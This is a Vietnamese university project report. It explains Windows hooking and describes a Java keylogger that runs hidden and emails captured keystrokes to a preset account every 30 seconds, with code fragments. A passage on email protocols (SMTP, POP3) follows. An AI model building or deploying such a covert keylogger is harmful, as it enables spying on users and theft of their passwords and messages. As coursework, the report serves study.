Báo cáo đồ án cơ sở ngành mạng phần nguyên lý hệ điều hành tìm hiểu kĩ thuật lập trình hook và viết chương trình bắt phím keylog Báo cáo đồ án cơ sở ngành mạng phần nguyên lý hệ điều hành tìm hiểu kĩ thuật lập trình hook và viết chương trình bắt phím keylog Báo cáo đồ án cơ sở ngành mạng phần nguyên lý hệ điều hành tìm hiểu kĩ thuật lập trình hook và viết chương trình bắt phím keylog
Trang 1ĐẠI HỌC ĐÀ NẴNG TRƯỜNG ĐẠI HỌC BÁCH KHOA KHOA CÔNG NGHỆ THÔNG TIN
Trang 2MỤC LỤC
PHẦN 1: NGUYÊN LÍ HỆ ĐIỀU HÀNH 5
chương 1: CƠ SỞ LÝ THUYẾT 5
1.1 Khái niệm cơ bản 5
1.2 Kĩ thuật lập trình hook 6
1.2.1 Các loại mô hình Hook 6
1.2.2 Cơ chế của Hook 6
1.2.3 Phân loại Hook 7
1.2.4 Thư viện JnativeHook của Java 8
CHƯƠNG 2: PHÂN TÍCH VÀ THIẾT KẾ HỆ THỒNG 9
2.1 Phân tích yêu cầu 9
2.1.1 Yêu cầu về chức năng 9
2.1.2 Yêu cầu về giao diện người dùng 9
2.1.3 Yêu cầu về tương thích 9
2.2 Phân tích chức năng 9
2.2.1 Bắt sự kiện từ bàn phím 9
2.2.2 Ghi ra tệp văn bản theo ngày tháng 10
2.2.3 Gửi tệp đã tạo qua email 11
CHƯƠNG 3: TRIỂN KHAI VÀ ĐÁNH GIÁ KẾT QUẢ 11
3.1 Công cụ xây dựng chương trình 11
3.2 Hình ảnh kết quả chạy chương trình 11
PHẦN 2: LẬP TRÌNH MẠNG 14
CHƯƠNG 1: CƠ SỞ LÝ THUYẾT 14
1.1 Giới thiệu 14
1.1.1 Thư điện tử (Email) 14
1.1.2 Cấu trúc một mail 15
1.2 Các giao thức gửi nhận mail 16
1.2.1 Giao thức SMTP 16
1.2.2 Giao thức POP3 17
1.2.3 Giao thức IMAP 19
Trang 3CHƯƠNG 2: PHÂN TÍCH VÀ THIẾT KẾ HỆ THỐNG 21
2.1 Phân tích chức năng 21
2.2 Thiết kế hệ thống 23
2.2.1 Sơ đồ gói (Pakage diagram) 23
2.1.2 UI 23
2.1.3 Controller 24
2.1.4 Bean 24
CHƯƠNG 3: TRIỂN KHAI VÀ ĐÁNH GIÁ KẾT QUẢ: 26
3.1 Môi trường phát triển 26
3.2 Hình ảnh demo 26
KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN 31
1 Kết quả đạt được 31
2 Hướng phát triển 31
Trang 4DANH SÁCH HÌNH ẢNH
Hình 1 Quy trình Hook 5
Hình 2: Thư mục lưu file output ghi lại những phím đã gõ 9
Hình 3: File output ghi những phím đã gõ 10
Hình 4: File output.txt được gửi tự động về mail cá nhân 10
Hình 5: Cơ chế hoạt động của thư điện tử 12
Hình 6: Cơ chế giao thức SMTP 15
Hình 7: Sơ đồ gói 19
Hình 8: Màn hình đăng nhập 22
Hình 9: Màn hình hộp thư đã gửi 23
Hình 10: Màn hình hộp thư đã gửi 23
Hình 11: Màn hình hộp thư nháp 24
Hình 12: Màn hình hộp thư spam 24
Hình 13: Màn hình chi tiết của mail 25
Hình 14: Màn hình soạn mail 25
Hình 15: Màn hình gửi mail thành công 26
Hình 16: Màn hình gửi đăng xuất 26
Trang 5DANH SÁCH TỪ VIẾT TẮT
Trang 6PHẦN 1: NGUYÊN LÍ HỆ ĐIỀU HÀNH TIÊU ĐỀ: TÌM HIỂU KỸ THUẬT LẬP TRÌNH HOOK VÀ XÂY DỰNG
CHƯƠNG TRÌNH BẮT PHÍM KEYLOGGER CHƯƠNG 1: CƠ SỞ LÝ THUYẾT
1.1 Khái niệm cơ bản
Không giống như các ứng dụng trên nền MS-DOS, các ứng dụng trên nền Windowsthì hướng sự kiện, chúng không thực hiện các cuộc gọi hàm rõ ràng để lấy đầu vào,thay vào đó chúng chờ cho hệ thống chuyển đầu vào đến chúng
Window là một hệ điều hành dễ sử dụng, sự tương tác của người dùng với các ứngdụng và tiện ích của window một cách dễ dàng thông qua giao diện đồ họa (GUI) bằngcác thao tác chuột, phím đơn giản Một câu hỏi được đặt ra là “Các ứng dụng làm thếnào để phân loại, lưu giữ cũng như phản hồi lại các tương tác đó đến người dùng?”.Window cung cấp cơ chế thông điệp (message) và hàng đợi thông điệp (messagequeue) cùng với tập hợp các cấu trúc dữ liệu và các hàm API hỗ trợ ứng dụng giao tiếpvới người dùng Window có hai hàng đợi thông điệp: Hàng đợi hệ thống (systemqueue) và hàng đợi ứng dụng (Application queue) Hàng đợi hệ thống là hàng đợi duynhất được dùng chung cho toàn bộ hệ thống, mọi tiến trình đang chạy đều chia sẻ hàngđợi này Nhiệm vụ của hàng đợi hệ thống là ghi lại các hành động của phần cứng nhưkích chuột, gõ phím,… khi chúng xảy ra
Quá trình xử lý thông điệp của Windows diễn ra như sau: Đầu tiên từ các hànhđộng của nguời dùng như là : click chuột, nhấn phím, thì hệ điều hành sẽ chuyển cáchành động tương ứng thành các thông điệp (message) Rồi sau đó Windows đẩy cácmessage này vào hàng đợi của hệ thống (system queue) và từ system queue cácmessage đuợc chuyển đến ứng dụng Những thông điệp này khi được chuyển đến ứngdụng, chúng tạo thành hàng đợi ứng dụng (application queue) Từ lúc này các ứngdụng sẽ lấy các thông điệp này trong hàng đợi ứng dụng của mình để xử lý (thông qua
Trang 7các vòng lặp chờ thông điệp -message loop).
Hình 1 Quy trình Hook
1.2. Kĩ thuật lập trình hook
1.2.1 Các loại mô hình Hook
Local hook: là kỹ thuật Hook dùng để bẫy sự kiện ngay trong tiến trình cài đặt
Remote hook: là kỹ thuật Hook cho phép bẫy các sự kiện thuộc tiến trình của ứng dụng khác Trong mô hình này lại tồn tại hai kiểu hook khác:
+ Thread-specific: kiểu Hook này sẽ bẫy sự kiện của một luồng cụ thể
+ System-wide: bẫy sự kiện của tất cả các luồng trong tất cả các tiến trình đang thi hành trong hệ thống
1.2.2 Cơ chế của Hook
Có nhiều loại hook (như chuột, bàn phím) và hệ điều hành luôn duy trì một danhsách các hook procedure cho mỗi loại đó Mỗi danh sách các Hook procedure này đượcgọi là hookchain(chuỗi hook) Bản chất của hook chain là một dãy các con trỏ hàm trỏ đến các Hook procedure
Khi hệ thống thực hiện một sự kiện nào đó, nó sẽ tìm kiếm trong hook chaintương ứng với sự kiện đó Nếu một hook procedure phù hợp được tìm thấy, hệ thống sẽ
Trang 8thực hiện nó và chỉ lấy lại quyền điều khiển sau khi hook chain kết thúc Vì thế khi mộthook procedure thực hiện xong, nó phải thực hiện việc chuyển quyền điều khiển chohook procedure kế tiếp trong hook chain.
Tuy nhiên cơ chế này còn tùy thuộc vào loại hook Như một số loại hook chỉ cóthể theo dõi các thông điệp, vì vậy cho dù hook procedure có chuyển quyền điều khiểncho hook procedure kế tiếp hay không, hệ thống vẫn sẽ tự động làm việc này Mộtđiểm cần lưu ý là hook sẽ làm chậm hệ thống, vì thế bạn chỉ nên cài đặt hook khi cầnthiết và loại bỏ nó khi đã hoàn tất công việc
1.2.3 Phân loại Hook
Có nhiều loại hook được phân biệt dựa vào các sự kiện, thông điệp mà Hookprocedure can thiệp vào Danh sách dưới đây liệt kê các loại hook:
WH_CALLWNDPROC and WH_CALLWNDPROCRET: cho phép bạn theodõi các thông điệp gởi đến các thủ tục cửa sổ (window procedure).WH_CBT: hệ thống gọi thủ tục hook WH_CBT: trước khi activating, creating,destroying, minimizing, maximizing, moving, hoặcsizing một cửa sổ ; trước khihoàn thành một lệnh hệ thống, trước khi loại bỏ một sự kiện chuột hoặc bànphím từ hàng đợi thông điệp hệ thống…
WH_DEBUG : hệ thống gọi một thủ tục hook WH_DEBUG trước khi gọi mộtthủ tục hook kết hợp với bất kỳ hook khác trong hệ thống
WH_FOREGROUNDIDLE: các hook WH_FOREGROUNDIDLE cho phépbạn thực hiện các tác vụ ưu tiên thấp trong thời gian tác vụ đó đang ở chế độforeground idle
WH_GETMESSAGE: hook WH_GETMESSAGE cho phép một ứng dụng theo
dõi các thông điệptrả về bởi hàm GetMessage hoặc PeekMessage
WH_JOURNALPLAYBACK: các hook WH_JOURNALPLAYBACK cho
phép một ứng dụng chèn thêm các thông điệp vào hàng đợi thông điệp hệ thống
WH_JOURNALRECORD: các hook WH_JOURNALRECORD cho phép bạn
giám sát và ghi lại các sự kiện đầu vào
Trang 9 WH_KEYBOARD_LL: Các hook WH_KEYBOARD_LL cho phép bạn theodõi các sự kiện bàn phím trong hàng đợi ứng dụng.
WH_KEYBOARD: hook WH_KEYBOARD cho phép một ứng dụng theo dõi
lưu lượng truy cập thông điệp của thông điệp WM_KEYDOWN vàWM_KEYUP được trả về bởi hàm GetMessage hoặc PeekMessage
WH_MOUSE_LL: các hook WH_MOUSE_LL cho phép bạn theo dõi các sự
kiện chuột trong hàng đợi ứng dụng
WH_MOUSE : các hook WH_MOUSE cho phép bạn theo dõi các thông điệpchuột được trả về bởi hàm GetMessage hoặc PeekMessage
WH_MSGFILTER and WH_SYSMSGFILTER: cho phép theo dõi chính cácthông điệp được xử lý bởi menu, scrollbar, dialog…
WH_SHELL: Chi tiết xem thêm tại thư viện lập trình MSDN
1.2.4 Thư viện JnativeHook của Java
JNativeHook là một thư viện để cung cấp trình nghe chuột và bàn phím toàn cầucho Java Điều này sẽ cho phép bạn lắng nghe các phím tắt toàn cầu hoặc chuyểnđộng chuột mà không thể sử dụng Java thuần túy Để hoàn thành nhiệm vụ này,JNativeHook tận dụng mã gốc phụ thuộc vào nền tảng thông qua giao diện gốc củaJava để tạo các móc nối toàn hệ thống cấp thấp và phân phối các sự kiện đó đếnứng dụng của bạn
Các sự kiện sau đây có sẵn thông qua các Listener tương ứng
Key Press Events
Key Release Events
Key Typed Events
Mouse Down Events
Mouse Up Events
Mouse Click Events
Mouse Move Events
Trang 10 Mouse Drag Events
Mouse Wheel EventsNgoài trình nghe sự kiện toàn cầu, thư viện này có khả năng đăng các sự kiệngốc trở lại hệ điều hành gốc
CHƯƠNG 2: PHÂN TÍCH VÀ THIẾT KẾ HỆ THỒNG
2.1 Phân tích yêu cầu
2.1.1 Yêu cầu về chức năng
Chương trình ghi lại toàn bộ thao tác phím của người dùng và lưu ra một tập tin vănbản File văn bản sẽ tự động gửi về mail người dùng sau một khoảng thời gian nhấtđịnh
2.1.2 Yêu cầu về giao diện người dùng
Đây là chương trình mang tính chất gián điệp nên sẽ được chạy ẩn trong hệ thống.Chương trình cũng sẽ có giao diện để người dùng có thể tương tác và tùy chọn riêng.Sau một khoảng thời gian nhất đinh, file lưu những kí tự bắt được từ bàn phím sẽđược gửi đến tài khoản cá nhân thông qua mail
2.1.3 Yêu cầu về tương thích
Để đảm bảo có sự tương tác tốt nhất với Windows, trong chương trình này em đã sửdụng ngôn ngữ Java trên môi trường Eclipse
- Khai báo một JNatitveHook và để nó bắt các sự kiện của bàn phím
Trang 11public class NativeKeyBoard implements NativeKeyListener {
public static String captured = "" ;
public void nativeKeyPressed(NativeKeyEvent e ) {
//Gets the keycode of the key that was pressed
String keyStroke = NativeKeyEvent.getKeyText(e getKeyCode());
if ( keyStroke length() > 1 && ! keyStroke equals( "Space" )) {
captured = captured + "\n" + "Modifier Key Pressed: " +
2.2.2 Ghi ra tệp văn bản theo ngày tháng.
Khi người dùng nhấn phím, thì ứng dụng cũng đồng thời bắt phím và ghi phím đó ratệp Tệp ghi ra theo từng ngày tháng cụ thể và tương ứng với ứng dụng tương tác
public void onSave() {
File file = new File( "output.txt" );
try (PrintWriter out = new PrintWriter( file , "UTF-8" )) {
out write( "DU LIEU VAO LUC: " + new Date().toString() + "\n" );
Trang 12out write(captured);
2.2.3 Gửi tệp đã tạo qua email.
Sau một khoảng thời gian nhất định File được lưu sẽ được gửi qua mail nhờ tài khoản đã được cài đặt từ trước
Code:
long start = System.currentTimeMillis();
SimpleTextMail simpleTextMail = new SimpleTextMail(); while(true){
if(System.currentTimeMillis() - start == 30000){ KeyLogger.nativeKeyBoard.onSave();
simpleTextMail SendMail();
start = System.currentTimeMillis();
}
}
CHƯƠNG 3: TRIỂN KHAI VÀ ĐÁNH GIÁ KẾT QUẢ
3.1 Công cụ xây dựng chương trình
Phần mềm Eclipse, viết trên ngôn ngữ Java
3.2 Hình ảnh kết quả chạy chương trình
Trang 13Hình 2: Thư mục lưu file output ghi lại những phím đã gõ
Hình 3: File output ghi những phím đã gõ.
Trang 14Hình 4: File output.txt được gửi tự động về mail cá nhân
3.3 Đánh giá kết quả
Ứng dụng gọn nhẹ, dễ sử dụng
Một số chức năng cơ bản đã hoàn thành
Chương trình sẽ hoạt động không chính xác nếu có các ứng dụng hook khác nhưcác chương trình gõ tiếng việt (Unikey, Vietkey…)
Các tập tin ghi lại theo tên người dùng đặt mà người dùng gõ chính xác hoàntoàn
Chương trình ghi lại được 100% thao tác phím
Các tùy chọn thêm hoạt động tốt
Trang 15PHẦN 2: LẬP TRÌNH MẠNG TIÊU ĐỀ: Tìm hiểu giao thức SMTP và POP3 Xây dựng chương trinh Mail Client.
CHƯƠNG 1: CƠ SỞ LÝ THUYẾT
1.1 Giới thiệu
1.1.1 Thư điện tử (Email)
Đây là dịch vụ rất phổ biến và thông dụng trong mạng Internet/Intranet và hầunhư không thể thiếu được trong Internet/Intranet hiện nay Tuy nhiên không phải làdịch vụ “từ đầu - đến cuối” (end to end), nghĩa là dịch vụ này không đòi hỏi hai máytính gởi và nhận thư phải nối trực tiếp với nhau để thực hiện việc chuyển thư Nó làdịch vụ kiểu lưu và chuyển tiếp (store and forward) thư được chuyển từ máy này sangmáy khác cho tới khi máy đích nhận được Người nhận cũng chỉ thực hiện một số thaotác đơn giản để lấy thư, đọc thư và nếu cần thì cho in ra Cách liên lạc này thuận tiệnhơn nhiều so với gởi thư thông thường qua bức điện hoặc Fax, lại rẻ và nhanh hơn.Cách thực hiện việc chuyển thư không cần phải kết nối trực tiếp với nhau để chuyểnthư, thư có thể được chuyển từ máy này đến máy khác cho tới máy đích Giao thứctruyền thống sử dụng cho hệ thống thư điện tử của Internet là SMTP (Simple MailTransfer Protocol)
Hình 5: Cơ chế hoạt động của thư điện tử
Trang 16Cứ mỗi trạm e-mail thường bao gồm ít nhất là hai dịch vụ: POP3 (Post OfficeProtocol Version 3) có nhiệm vụ nhận/trả thư từ/tới e-mail client và dịch vụ SMTP(Simple E-mail Transfer Protocol) có nhiệm vụ nhận/phân phối thư từ/đến POP3 đồngthời trao đổi thư với các trạm e-mail trung gian.
Mỗi người dùng (client) đều phải kết nối với một E-mail Server gần nhất (đóngvai trò bưu cục địa phương) phải có một tên (e-mail account) trên một trạm email và sửdụng chương trình e-mail client (ví dụ như Eudora, Netscape ) Sau khi soạn thảoxong thư và đề rõ địa chỉ đích (người nhận) rồi gửi thư tới E-mail-Server của mình E-mail Server này có nhiệm vụ sẽ tự động kiểm tra và định hướng chuyển thư tới đíchhoặc chuyển thư tới một E-mail-Server trung gian khác Thư chuyển tới E-mail-Servercủa người nhận và được lưu ở đó Đến khi người nhận thiết lập tới một cuộc kết nối tớiE-mai-Server đó thì thư sẽ chuyển về máy người nhận, nếu không thì thư vẫn tiếp tụcgiữ lại ở server đảm bảo không bị mất
Như vậy để gởi/nhận thư người sử dụng chỉ cần quan tâm tới cách sử dụngchương trình e-mail client Hiện nay có nhiều chương trình e-mail client như MicrosoftOutlook Express, Eudora Pro, Peagasus mail, Google mail,
1.1.2 Cấu trúc một mail
Gồm 3 phần cơ bản:
- Phần phong bì: Mô tả thông tin về người gửi và người nhận Do hệ thống tạo ra
- Phần tiêu đề (header): chứa đựng các thông tin về người gửi, người nhận, chủ đềbức mail, địa chỉ hồi âm v.v… Các thông tin này, một số được người sử dụngcung cấp khi gửi mail, một số khác được chương trình mail them vào, và số cònlại do Hệ thống điền them
- Phần nội dung (body): chứa dduwngj nội dung của bức Mail, là nội dung đượctạo ra bởi trình soạn thảo Editor của chương trình Mail
Sau đầy là chi tiết của từng phần:
a Phần phong bì (Envelope)
Trang 17Phần này do các MTA tạo ra và sử dụng, nó chứa các thông tin để chuyểnnhận email như địa chỉ của nơi nhận, địa chỉ của nơi gửi Hay nói cách khác,giao thức SMTP sẽ quy định thông tin của phong bì, các hệ thống Email cầnnhững thông tin này để chuyển dữ liệu từ một máy tính này sang một máytính khác.
- Sau đây là một số trường thông dụng và ý nghĩa của nó:
Date: chỉ ngày giờ nhận mail
From: chỉ người gửi
To: Chỉ người nhận
Cc: Chỉ những người nhận bản copy của mail
Bcc: chỉ ra những người nhận bản copy của mail , nhưng từng người sẽkhông biết ai đã nhận bức thư này cùng với mình
Return-path: chứa các thông tin người nhận có thể trả lời lại (thương nóchính là địa chỉ người gửi)
Subject: Chủ đề của nội dung Email
c Phần nội dung (body)
Để phân biệt phần tiêu đề và phần nội dung của bức Mail, người ta qui ướcđặt ranh giới là một dòng trắng (chuỗi ký tự "\r\n") Kết thúc của phần nội dung
là chuỗi ký tự kết thúc Mail: "\r\n.\r\n" Như vậy nội dung bức Mail nằm trongkhoảng giữa dòng trắng đầu tiên và ký tự kết thúc Mail, và trong phần nội dungcủa bức Mail không được phép tồn tại chuỗi ký tự kết thúc Mail Mặt khác domôi trường truyền thông là mạng Internet nên các ký tự cấu thành phần bodycủa bức Mail cũng phải là các ký tự ASCII chuẩn